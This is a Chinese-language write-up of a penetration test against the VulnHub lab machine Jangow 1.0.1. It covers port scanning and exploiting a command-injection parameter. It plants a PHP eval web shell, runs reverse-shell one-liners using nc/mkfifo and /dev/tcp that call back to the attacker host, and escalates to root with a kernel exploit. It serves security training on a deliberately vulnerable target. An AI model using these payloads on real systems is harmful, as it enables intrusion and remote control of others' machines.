渗透测试Jangow101(一)
一、环境搭建
1、靶机:ip:192.168.0.9
靶机下载:https://download.vulnhub.com/jangow/jangow-01-1.0.1.ova
2、攻击机:ip:192.168.0.11
3、如何搭建
下载后的文件直接右键打开方式,选择virtualbox(介意使用virtualbox)
使用virtualbox打开后会显示靶机ip
二、信息收集
1、nmap扫描开放端口
nmap -sC -sV 192.168.0.9
-sV 扫描目标主机的端口和软件版本
-sC 根据端口识别服务自动调用默认脚本
这里可以知道目标开启了21和80端口,分别是ftp服务和Apache服务
三、web渗透
1、漏洞发现
开启了80端口,部署的是Apache服务,先去访问一下web服务,看是否有漏洞
在一个页面找到一个url地址存在参数,页面为空白,参数未被赋值,猜测可能是代码执行漏洞或者命令执行漏洞,经过探测发现是命令执行漏洞。
2、漏洞利用
cat /etc/passwd
通过linux命令查看其账号密码
虽然获取了文件内容,但是无法直接登录。既然可以执行linux命令,尝试写一句话木马直接getshell
echo '<?php @eval($_POST['shell']);?>' >> getshell.php
这里介意使用post方法,get方法蚁剑无法连接
蚁剑连接
连接成功
收集信息,扩大战果
找到两个密码,但是并没有找到flag,应该值root目录,我们现在没有权限,尝试反弹shell,查看系统版本,使用系统内核漏洞提权
3、反弹shell
使用蚁剑新建一个php文件,写一个反弹shell在PHP文件里,使用kali监听对于端口,然后访问该文件,即可反弹shell
nc -lvp 443
<?php system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.0.11 443 >/tmp/f');?>
<?php system('bash -i > /dev/tcp/192.168.0.11/443 0>&1 2>&1')?>
不知道为啥bash反弹不能使用
访问该文件
反弹成功
切换完整的交互式bash
python3 -c 'import pty;pty.spawn("/bin/bash")'
四、权限提升
1、查看系统版本
uname -a
2、根据系统版本提权
searchsploit ubuntu 4.4.0
3、采用45010.c这个文件进行提权
蚁剑将该文件上传到靶机
4、提权
gcc 45010.c -o exp //生成可执行文件
chmod +x exp //添加可执行权限
./exp //执行exp文件
5、查询root目录
发现proof.txt文件
五、解密flag
在proof.txt文件中找到一串加密乱码,可能是md5加密后的flag,解密后可得flag
解密为空密码,不知道为啥。。。
|